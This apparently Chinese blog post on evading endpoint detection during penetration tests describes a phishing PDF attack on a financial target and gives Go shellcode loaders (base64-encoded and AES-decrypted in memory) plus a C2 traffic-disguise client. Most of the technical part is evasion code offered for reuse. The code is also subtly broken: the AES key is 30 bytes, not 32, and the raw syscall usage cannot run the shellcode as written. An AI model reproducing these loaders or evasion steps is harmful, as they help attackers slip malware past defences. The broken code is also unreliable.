一、实战案例:一次失败的EDR绕过尝试

有一次,我在一个针对金融行业目标的渗透测试项目中,遇到了一个相当棘手的对手:他们的终端防护系统采用了顶级EDR(Endpoint Detection and Response)方案,具备非常强的行为检测能力。简单的脚本攻击、常规免杀Payload,在这里几乎是“秒杀”的命运。

当时,我设法通过钓鱼邮件的方式让目标员工执行了一个看似无害的PDF文档,这个文件其实内嵌了我精心构造的恶意代码。然而,当Payload触发时,EDR直接拦截,甚至连传输到C2服务器的通信包都被标记为恶意流量。

这次的失败让我意识到,绕过EDR并非仅仅依赖简单的免杀,而需要深入研究EDR的检测逻辑和底层机制。从那以后,我针对EDR展开了一系列研究,逐渐积累了一些实战经验,这才让我在后续的渗透测试中,成功实现了多次绕过。

以下,我会分享我在研究和实战中总结的一些技术方法和思路,也包括具体的代码实现。

---

二、EDR检测的底层逻辑分析

1. EDR如何检测恶意行为?

为了绕过EDR,我们需要先理解它的工作原理。EDR的检测逻辑可以分为以下几个维度:

  • 静态分析:
  • EDR会扫描文件的哈希、签名、甚至特定的字符串特征(如Shellcode片段)。这类似于传统杀毒软件的特征码匹配。

  • 动态行为分析:
  • 当程序运行时,EDR会监控API调用(如CreateProcessVirtualAllocWriteProcessMemory)、内存操作、网络连接等行为。如果这些行为与恶意代码的模式相符,就会触发检测。

  • 内存扫描:
  • 高级EDR会对进程的内存区域进行周期性扫描,寻找Shellcode或者恶意代码的特征。

  • 流量监控:
  • 部分EDR会对网络通信进行深度检测,分析C2流量是否使用了可疑的协议或伪装策略。

2. 绕过的基本思路

理解了EDR的检测机制后,绕过的核心就在于避免触发它的规则。具体来说,可以从以下几个方面入手:

  1. 文件免杀: 避免被静态签名检测到。
  2. 行为混淆: 改变恶意代码的运行方式,让行为看起来像正常程序。
  3. 内存隐匿: 将Shellcode加密存储,动态解密后直接执行,避免被内存扫描发现。
  4. 流量伪装: 使用正常协议伪装C2通信,甚至将流量混入合法的应用程序流量中。

接下来,我会通过一个完整的实战案例,展示如何一步步绕过EDR的检测。

黑客示意图

---

三、构造免杀Payload:从静态到动态

这部分我们重点解决“文件免杀”和“行为混淆”问题。

1. 静态文件免杀的基础操作

如果想让文件在静态分析中存活下来,我们需要做三件事:

  • 改变哈希值: 任何被公开的恶意样本的哈希值都会在EDR中被标记为恶意。
  • 混淆代码: 将代码重构、加壳或者加密,变得不可读。
  • 签名伪造: 给文件打上一个可信的数字签名。

以下是一个简单的Go语言示例,用于生成一个基础的免杀Payload:

<pre><code class="language-go">package main

import ( &quot;encoding/base64&quot; &quot;os&quot; &quot;syscall&quot; &quot;unsafe&quot; )

func main() { // 这是一个简单的MSF生成的Shellcode(已Base64编码) shellcodeBase64 := &quot;f0VMRgIBA...省略部分内容&quot; shellcode, _ := base64.StdEncoding.DecodeString(shellcodeBase64)

// 分配内存 addr, _, _ := syscall.Syscall(syscall.SYS_MMAP, 0, uintptr(len(shellcode)), syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC, syscall.MAP_ANON) copy((*[990000000]byte)(unsafe.Pointer(addr))[:len(shellcode)], shellcode)

// 执行Shellcode syscall.Syscall(addr, 0, 0, 0) }</code></pre>

黑客示意图

注: 这里使用了Base64编码来隐藏Shellcode原始内容,但这只是非常初级的免杀方法,因为EDR很可能直接检测到这种内存分配和执行行为。在后续章节,我会介绍更加高级的混淆和行为规避技巧。

---

黑客示意图

2. 动态行为混淆的深入探讨

即使文件通过了静态扫描,也可能在运行时被EDR检测到。这时,以下几种技巧可以派上用场:

  1. 延迟执行:
  2. 通过延迟一定时间后再执行恶意行为,绕过一些基于启动时检测的EDR。

  1. 行为伪装:
  2. 将恶意代码的行为伪装成正常程序。例如,将网络请求伪装成浏览器或者合法应用的数据流。

  1. 内存解密执行:
  2. 不直接将Shellcode存储在二进制文件中,而是将其加密,运行时动态解密并执行。

以下是一个动态解密执行Shellcode的示例代码:

<pre><code class="language-go">package main

import ( &quot;crypto/aes&quot; &quot;crypto/cipher&quot; &quot;encoding/hex&quot; &quot;syscall&quot; &quot;unsafe&quot; )

func main() { // 加密后的Shellcode(AES加密) encryptedShellcode := &quot;4fa9b7a8c9f...省略部分数据&quot;

// 解密密钥 key := []byte(&quot;my32bytepasswordforencryption!&quot;)

// 解密Shellcode encryptedBytes, _ := hex.DecodeString(encryptedShellcode) block, _ := aes.NewCipher(key) decrypted := make([]byte, len(encryptedBytes)) cfb := cipher.NewCFBDecrypter(block, key[:aes.BlockSize]) cfb.XORKeyStream(decrypted, encryptedBytes)

// 分配内存并执行解密后的Shellcode addr, _, _ := syscall.Syscall(syscall.SYS_MMAP, 0, uintptr(len(decrypted)), syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC, syscall.MAP_ANON) copy((*[990000000]byte)(unsafe.Pointer(addr))[:len(decrypted)], decrypted) syscall.Syscall(addr, 0, 0, 0) }</code></pre>

注: 这段代码使用AES加密技术隐藏了Shellcode的内容,并在运行时才解密到内存中执行。这样可以绕过静态分析和部分内存扫描。

---

四、网络流量的隐匿术

EDR不仅会检测文件和行为,还会对网络流量进行深入分析。常规的HTTP或者TCP通信很容易被检测到,因此需要对流量进行伪装。

1. 流量伪装为合法协议

一种常见的方法是将C2通信伪装成合法的HTTPS流量,这样即使EDR分析了流量的内容,也无法区分恶意和正常通信。

以下是一个伪装为HTTPS通信的示例代码:

<pre><code class="language-go">package main

import ( &quot;crypto/tls&quot; &quot;fmt&quot; &quot;io/ioutil&quot; &quot;net/http&quot; )

func main() { // 定制TLS配置,伪造User-Agent为浏览器 tr := &amp;http.Transport{ TLSClientConfig: &amp;tls.Config{InsecureSkipVerify: true}, } client := &amp;http.Client{Transport: tr}

// 伪装为浏览器访问Google req, _ := http.NewRequest(&quot;GET&quot;, &quot;https://www.google.com&quot;, nil) req.Header.Set(&quot;User-Agent&quot;, &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36&quot;)

// 发起请求 resp, _ := client.Do(req) defer resp.Body.Close() body, _ := ioutil.ReadAll(resp.Body)

// 输出返回的页面内容 fmt.Println(string(body)) }</code></pre>

---

五、个人经验与总结

在与EDR的对抗中,我的经验是:要学会像防守者一样思考。研究EDR的检测原理,才能找到绕过的突破口。以下是一些经验总结:

  1. 动态加密是当前绕过EDR的主流技术,但不能过度依赖单一手段。
  2. 多层混淆可以显著提高免杀效果,比如将Shellcode分段加密,多次解密执行。
  3. 流量伪装是绕过网络监控的关键,但伪装必须足够逼真,避免被流量分析工具发现异常。

希望这篇文章能给你提供一些思路。在合法授权范围内,谨慎使用这些技术!